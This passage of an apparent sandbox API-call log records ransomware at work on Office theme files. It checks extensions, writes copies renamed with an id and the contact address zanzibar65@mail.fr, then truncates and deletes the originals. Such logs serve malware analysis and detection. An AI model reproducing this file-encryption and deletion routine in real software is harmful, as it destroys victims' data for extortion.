[0273.506] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.506] lstrlenW (lpString=".xls") returned 4 [0273.506] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.506] lstrlenW (lpString=".xlsx") returned 5 [0273.506] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.506] lstrlenW (lpString=".ppt") returned 4 [0273.506] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0273.506] lstrlenW (lpString=".zip") returned 4 [0273.506] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.506] lstrlenW (lpString=".rar") returned 4 [0273.506] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.506] lstrlenW (lpString=".bz2") returned 4 [0273.506] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.506] lstrlenW (lpString=".7z") returned 3 [0273.507] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0273.507] lstrlenW (lpString=".dbf") returned 4 [0273.507] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0273.507] lstrlenW (lpString=".1cd") returned 4 [0273.507] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0273.507] lstrlenW (lpString=".jpg") returned 4 [0273.507] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.507] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0273.507] lstrlenW (lpString="Module.eftx") returned 11 [0273.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0273.530] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x30fff1c | out: lpFileSize=0x30fff1c*=43357) returned 1 [0273.530] CloseHandle (hObject=0x394) returned 1 [0273.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx")) returned 0x20 [0273.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0273.576] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0273.576] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0273.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0274.126] GetLastError () returned 0x0 [0274.126] ReadFile (in: hFile=0x390, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0xa95d, lpOverlapped=0x0) returned 1 [0274.135] WriteFile (in: hFile=0x2ec, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xa960, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0xa960, lpOverlapped=0x0) returned 1 [0274.137] ReadFile (in: hFile=0x390, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0x0, lpOverlapped=0x0) returned 1 [0274.137] WriteFile (in: hFile=0x2ec, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0274.137] SetEndOfFile (hFile=0x2ec) returned 1 [0274.137] CloseHandle (hObject=0x2ec) returned 1 [0274.137] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.137] SetEndOfFile (hFile=0x390) returned 1 [0274.139] CloseHandle (hObject=0x390) returned 1 [0274.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx")) returned 1 [0274.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0274.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0274.140] lstrlenW (lpString=".doc") returned 4 [0274.140] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.140] lstrlenW (lpString=".docx") returned 5 [0274.140] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.140] lstrlenW (lpString=".pdf") returned 4 [0274.140] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.140] lstrlenW (lpString=".xls") returned 4 [0274.140] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.140] lstrlenW (lpString=".xlsx") returned 5 [0274.140] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.140] lstrlenW (lpString=".ppt") returned 4 [0274.140] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0274.140] lstrlenW (lpString=".zip") returned 4 [0274.140] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.140] lstrlenW (lpString=".rar") returned 4 [0274.141] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.141] lstrlenW (lpString=".bz2") returned 4 [0274.141] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.141] lstrlenW (lpString=".7z") returned 3 [0274.141] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0274.141] lstrlenW (lpString=".dbf") returned 4 [0274.141] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0274.141] lstrlenW (lpString=".1cd") returned 4 [0274.141] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0274.141] lstrlenW (lpString=".jpg") returned 4 [0274.141] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0274.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0274.141] lstrlenW (lpString=".doc") returned 4 [0274.141] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.141] lstrlenW (lpString=".docx") returned 5 [0274.141] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.141] lstrlenW (lpString=".pdf") returned 4 [0274.141] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.141] lstrlenW (lpString=".xls") returned 4 [0274.141] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.141] lstrlenW (lpString=".xlsx") returned 5 [0274.141] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.141] lstrlenW (lpString=".ppt") returned 4 [0274.141] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0274.141] lstrlenW (lpString=".zip") returned 4 [0274.141] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.142] lstrlenW (lpString=".rar") returned 4 [0274.142] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.142] lstrlenW (lpString=".bz2") returned 4 [0274.142] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.142] lstrlenW (lpString=".7z") returned 3 [0274.142] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0274.142] lstrlenW (lpString=".dbf") returned 4 [0274.142] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0274.142] lstrlenW (lpString=".1cd") returned 4 [0274.142] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0274.142] lstrlenW (lpString=".jpg") returned 4 [0274.142] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.142] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0274.142] lstrlenW (lpString="Origin.eftx") returned 11 [0274.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0274.143] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x30fff1c | out: lpFileSize=0x30fff1c*=40941) returned 1 [0274.143] CloseHandle (hObject=0x390) returned 1 [0274.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx")) returned 0x20 [0274.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0274.144] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.144] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0274.144] GetLastError () returned 0x0 [0274.144] ReadFile (in: hFile=0x390, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0x9fed, lpOverlapped=0x0) returned 1 [0274.149] WriteFile (in: hFile=0x2ec, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x9ff0, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0x9ff0, lpOverlapped=0x0) returned 1 [0274.150] ReadFile (in: hFile=0x390, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0x0, lpOverlapped=0x0) returned 1 [0274.150] WriteFile (in: hFile=0x2ec, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0274.151] SetEndOfFile (hFile=0x2ec) returned 1 [0274.176] CloseHandle (hObject=0x2ec) returned 1 [0274.237] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.237] SetEndOfFile (hFile=0x390) returned 1 [0274.244] CloseHandle (hObject=0x390) returned 1 [0274.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.362] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx")) returned 1 [0274.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0274.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0274.363] lstrlenW (lpString=".doc") returned 4 [0274.363] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.363] lstrlenW (lpString=".docx") returned 5 [0274.363] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.363] lstrlenW (lpString=".pdf") returned 4 [0274.363] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.363] lstrlenW (lpString=".xls") returned 4 [0274.363] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.363] lstrlenW (lpString=".xlsx") returned 5 [0274.363] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.363] lstrlenW (lpString=".ppt") returned 4 [0274.363] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0274.363] lstrlenW (lpString=".zip") returned 4 [0274.364] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.364] lstrlenW (lpString=".rar") returned 4 [0274.364] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.364] lstrlenW (lpString=".bz2") returned 4 [0274.364] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.364] lstrlenW (lpString=".7z") returned 3 [0274.364] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0274.364] lstrlenW (lpString=".dbf") returned 4 [0274.364] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0274.364] lstrlenW (lpString=".1cd") returned 4 [0274.364] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0274.364] lstrlenW (lpString=".jpg") returned 4 [0274.364] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0274.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0274.364] lstrlenW (lpString=".doc") returned 4 [0274.364] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.364] lstrlenW (lpString=".docx") returned 5 [0274.364] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.364] lstrlenW (lpString=".pdf") returned 4 [0274.364] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.364] lstrlenW (lpString=".xls") returned 4 [0274.364] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.364] lstrlenW (lpString=".xlsx") returned 5 [0274.364] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.364] lstrlenW (lpString=".ppt") returned 4 [0274.364] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0274.364] lstrlenW (lpString=".zip") returned 4 [0274.364] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.365] lstrlenW (lpString=".rar") returned 4 [0274.365] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.365] lstrlenW (lpString=".bz2") returned 4 [0274.365] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.365] lstrlenW (lpString=".7z") returned 3 [0274.365] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0274.365] lstrlenW (lpString=".dbf") returned 4 [0274.365] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0274.365] lstrlenW (lpString=".1cd") returned 4 [0274.365] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0274.365] lstrlenW (lpString=".jpg") returned 4 [0274.365] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.365] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0274.365] lstrlenW (lpString="Slipstream.eftx") returned 15 [0274.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0274.376] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x30fff1c | out: lpFileSize=0x30fff1c*=27789) returned 1 [0274.376] CloseHandle (hObject=0x38c) returned 1 [0274.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx")) returned 0x20 [0274.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0274.419] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.419] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.427] GetLastError () returned 0x0 [0274.427] ReadFile (in: hFile=0x398, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0x6c8d, lpOverlapped=0x0) returned 1 [0274.429] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0x6c90, lpOverlapped=0x0) returned 1 [0274.430] ReadFile (in: hFile=0x398, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x30ffed4*=0x0, lpOverlapped=0x0) returned 1 [0274.430] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x30ffc9c*=0xf2, lpOverlapped=0x0) returned 1 [0274.430] SetEndOfFile (hFile=0x3a0) returned 1 [0274.430] CloseHandle (hObject=0x3a0) returned 1 [0274.430] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec8 | out: lpNewFilePointer=0x0) returned 1 [0274.430] SetEndOfFile (hFile=0x398) returned 1 [0274.435] CloseHandle (hObject=0x398) returned 1 [0274.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.439] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx")) returned 1 [0274.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0274.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0274.439] lstrlenW (lpString=".doc") returned 4 [0274.439] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.439] lstrlenW (lpString=".docx") returned 5 [0274.439] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.439] lstrlenW (lpString=".pdf") returned 4 [0274.439] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.439] lstrlenW (lpString=".xls") returned 4 [0274.439] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.439] lstrlenW (lpString=".xlsx") returned 5 [0274.439] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.439] lstrlenW (lpString=".ppt") returned 4 [0274.439] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0274.440] lstrlenW (lpString=".zip") returned 4 [0274.440] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.440] lstrlenW (lpString=".rar") returned 4 [0274.440] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.440] lstrlenW (lpString=".bz2") returned 4 [0274.440] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.440] lstrlenW (lpString=".7z") returned 3 [0274.440] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0274.440] lstrlenW (lpString=".dbf") returned 4 [0274.440] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0274.440] lstrlenW (lpString=".1cd") returned 4 [0274.440] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0274.440] lstrlenW (lpString=".jpg") returned 4 [0274.440] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0274.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0274.440] lstrlenW (lpString=".doc") returned 4 [0274.440] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.440] lstrlenW (lpString=".docx") returned 5 [0274.440] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.440] lstrlenW (lpString=".pdf") returned 4 [0274.440] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.440] lstrlenW (lpString=".xls") returned 4 [0274.440] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.440] lstrlenW (lpString=".xlsx") returned 5 [0274.440] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.440] lstrlenW (lpString=".ppt") returned 4 [0274.440] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82 [0274.441] lstrlenW (lpString=".zip") returned 4 [0274.441] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.441] lstrlenW (lpString=".rar") returned 4 [0274.441] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.441] lstrlenW (lpString=".bz2") returned 4 [0274.441] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.441] lstrlenW (lpString=".7z") returned 3 [0274.441] 